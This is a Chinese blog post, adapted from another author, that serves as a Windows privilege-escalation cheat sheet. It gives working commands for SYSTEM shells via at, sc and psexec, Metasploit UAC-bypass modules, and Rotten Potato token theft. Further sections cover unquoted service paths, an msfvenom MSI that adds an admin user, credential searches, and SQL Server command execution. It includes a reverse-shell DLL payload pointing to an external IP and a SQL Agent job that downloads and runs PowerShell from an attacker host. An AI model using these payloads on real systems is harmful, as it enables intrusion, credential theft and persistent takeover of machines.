windows提权总结
简介
为什么要提权:当成功通过80或者443端口通过web服务渗透时,常常是www-data 。无法执行管理员权限下的一下命令或者读取一些重要文件。这个时候就需要提权,在管理员权限下,还可以通过msfvenom生成其他后门文件或者一些隐藏后门。添加用户,开启其他端口等操作,达到权限持续控制。特别是windows存在域,所以需要最高权限,更方便后续的渗透。
提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等
常规信息搜集
知己知彼,百战不殆
当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息。
常规信息搜集
systeminfo 查询系统信息
hostname 主机名
net user 查看用户信息
netstat -ano|find "3389" 查看服务pid号
wmic os get caption 查看系统名
wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序
wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
net share 查看本机共享列表
netsh firewall show config 查看防火墙配置
常见的杀软如下:
360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender
要搜集的信息大致如下几点:
机器的系统及其版本
机器的打补丁情况
机器安装的服务
机器的防火墙策略配置
机器的防护软件情况
提权漏洞
系统内核溢出漏洞提权
手工查找补丁情况
systeminfo #查看补丁
wmic qfe get Description,HotFixID,InstalledOn #查看补丁信息
#Powershell扫描
Import-Module C:\Sherlock.ps1
Find-AllVulns
MSF后渗透扫描
post/windows/gather/enum_patches
利用(Vulmap、Wes、WindowsVulnScan)对比补丁进而进行提权
at提权
在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将Administrator权限提升至system权限。
AT命令是Windows XP中内置的命令,它也可以媲美Windows中的”计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
因为at命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权
at 时间 /interactive cmd 其中里面的/interactive参数是开启交互模式
设置一个定时任务,到时间后自动弹出一个cmd窗口
此时桌面还是
利用system权限打开任务管理器,结束桌面进程
再重新打开
由此可以实现与msf的联动
在webshll的cmd中执行 at 时间 /interactive msf的后门程序。(注:这里的权限一定要是Administrator)
会直接反弹回system权限的会话
sc提权
适用于windows 7/8、03/08、12/16
因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权
SC命令是XP系统中功能强大的DOS命令,SC命令能与”服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
也就是说 就是sc可以启动一个服务
提权命令
sc Create systemcmd binPath= "cmd /K start" type= own type= interact #设置一个启动cmd窗口的服务
sc start systemcmd # 启动该服务
创建一个名叫syscmd的cmd服务,我们也可以把binPath换成木马的路径,这样就可以获得一个system权限的会话
其中systemcmd是服务名称,可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口
psexec提权
**适用版本:Win2003 & Win2008 **
微软官方工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
提权命令:
PsExec.exe /accepteula /s \\127.0.0.1 cmd #直接交互式shell
psexec.exe -accepteula -s -i -d cmd.exe #弹出一个cmd窗口
开启的cmd窗口也是system权限
绕过UAC提权
UAC简介
1.什么是用户帐户控制(UAC)?
Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。
换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。
2.UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被”提升权限”,而不是以管理员身份运行的程序。
一些没有管理员权限无法完成的操作:
- 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
- 加载设备驱动程序
- DLL注入
- 修改系统时间(时钟)
- 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
- 修改受保护的目录(例如Windows文件夹,Program Files)
- 计划任务(例如,以管理员权限自动启动)
UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。
一般我们通过msf拿到meterprter的会话后,我们可以通过getsystem或者getuid来检查是否是system权限
如果不是system权限,我们可以通过以下绕过UAC模块对UAC进行绕过,在通过getsystem进行提权
#Msf
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack
Windows权限升级绕过UAC保护
此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.
Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
绕过Windows UAC保护(通过FodHelper注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
Windows权限升级绕过UAC保护(通过Eventvwr注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
Windows权限升级绕过UAC保护(通过COM处理程序劫持)
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
令牌窃取
适用于2008之前版本
令牌简介
描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。访问令牌分为:
* 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
* 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。
同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。
默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的权限是一个普通域用户,所以令牌窃取只能窃取到当前用户本身是。如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
攻击方法
第一种首先提前获取一个session
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token WIN-2HU3N1\\Administrator #注意:这里是两个反斜杠\\
第二种借用Rotten potato程序
链接:https://github.com/foxglovesec/RottenPotato.git
meterpreter > use incognito
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
Successfully
meterpreter > execute -HC -f rottenpotato.exe
Successfully
meterpreter > getuid
...NT AUTHORITY\SYSTEM
烂土豆提权-MS16-075
一般烂土豆需要来配合令牌窃取来进行提权
注意(重点:用烂土豆配合本地用户提权是成功不了的,必须是web权限或数据库权限)
- 单纯令牌窃取:Web权限或本地权限
- 配合烂土豆提权:web权限或数据库等权限
烂土豆提权原理
- 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为”NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 模仿这个令牌。只有具有”模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。
攻击方法
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > use incognito
meterpreter > list_tokens -u
会发现令牌列表里面存在system的令牌,在用system的令牌进行提权
Juicy Potato的限制条件如下:
1、需要支持SeImpersonate或者SeAssignPrimaryToken权限
2、开启DCOM
3、本地支持RPC或者远程服务器支持PRC并能成功登录
4、能够找到可用的COM对象
一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,这些都可以whoami /priv 试一下看看有没有模仿权限。
烂土豆版本
RottonPatato脚本:
- https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
- https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe
- https://github.com/foxglovesec/RottenPotato
可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
漏洞原理
这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
- 带引号时:”C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe”会被看成一个完整的服务路径,故不会产生漏洞。
- 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
攻击方法
寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
把我们后门文件重命名放在对应的文件路径下
在msf上进行监听,然后启动对应服务
接收到shell,且是system权限
#msf检测攻击模块
exploit/windows/local/unquoted_service_path
#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
#手动攻击
我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下
然后重启服务
sc stop service_name
sc start service_name
不安全服务权限配合计划任务schtasks或SC命令利用
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用覆盖原来的服务路径,进而启动我们的恶意程序。(一般用来administrator提权到system,因为普通用户用sc修改服务路径会没有权限,导致不能用该方法提权。)
accesschk.exe -uwcqv “administrators” * #检查administrators组的权限配置(这里自己创建了一个test服务)
sc config “test” binpath=”C:\shell.exe” #用sc命令修改服务对应路径
sc start test #然后我们在msf监听,在启动该服务,就可以接收到我们的shell
当然还可以用schtasks来定时启动服务,schtasks命令比at命令更灵活。而且在Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令。
#查看计算机的计划任务
schtasks /query /fo LIST /v
schtasks /create /s 10.10.10.80 /tn test /sc onstart /tr c:\artifact.exe /ru system /f
在远程主机运行”test”任务
schtasks /run /s 10.10.10.80 /i /tn “test”
执行完成之后就删除计划任务
schtasks /delete /s 10.10.10.80 /tn “test” /f
接着删除IPC$
net use \10.10.10.80 /del /y
在使用schtasks命令的时候会在系统留下日志文件C:WindowsTasksSchedLgU.txt。
参数的意思:
/create 表示创建计划任务
/tn 表示任务名
/tr 指定运行的文件
/sc 是任务运行频率
/st 是执行时间
/s 指定远程机器名或 ip 地址
/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM
/i 表示立即运行
/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告
/delete 是删除任务。
Unattended Installs(自动安装)
自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。
全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。
C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*
或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini
可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。
msf模块:
post/windows/gather/enum_unattend
AlwaysInstallElevated
AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
可以通过查询以下注册表项来识别此设置:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001
使用reg query命令查询是否存在漏洞:
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果系统没这个漏洞,它将输出错误:
ERROR: The system was unable to find the specified registry key or value.
如果存在漏洞,上面将输出以下内容:
然后我们使用msfvenom生成msi文件,进行提权
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi
msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序
msf下的自动模块
exploit/windows/local/always_install_elevated
DLL劫持提权
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll
常用系统漏洞CVE
#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html
#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
数据库提权
先来了解一下怎么才能获取到数据库的账号密码?
配置文件中,如:conn、config、data、sql、common 、inc文件中
安装目录下,如mysql安装目录下的user.MYD文件
使用Bruter工具破解—前提是开启了远程连接
使用脚本文件获取
怎么打开远程连接?
root账户一般只能本地访问,但在开发过程中可能需要打开root的远程访问权限。
登录到mysql中,为root进行远程访问的授权,执行下面的命令:
GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
flush privileges;
第一句中”%”表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可
第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
提权:
Mysql提权
udf提权:
通过创建用户自定义函数,对mysql功能进行扩充,可以执行系统任意命令,将mysql账号root转化为系统system权限。
mof提权:
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof 这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
启动项提权:将后面脚本上传到系统启动目录,当服务器重启就会自动执行该脚本,从而获取系统权限。
SQL Server 提权
利用SQL Sercer执行系统命令的方式也有多种,比如xp_cmdshell、SP_OACREATE、沙盒、Agent Job、CLR来提权。
使用xp_cmdshell进行提权:
# 启用xp_cmdshell
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
# 通过xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell 'whoami'
SP_OACREATE:
# 开启组件
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
# 执行系统命令(无回显)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'
通过沙盒执行命令
# 开启沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# 利用jet.oledb执行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
通过Agent Job执行命令
修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.214.129:80/a''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
整体思路
1.通过各种漏洞拿到shell
2.找网站的配置文件(找账号、密码)
3.使用 工具 提权
数据库防御
1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
3、及时升级数据库补丁。
4、安装Waf进行防御。
5、购买数据库审计设备。
基本转自随风师傅,做了点小小改动,因为自己太菜了写不出来这么好的文章,随风师傅tql:https://www.cnblogs.com/sfsec/p/15162635.html
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!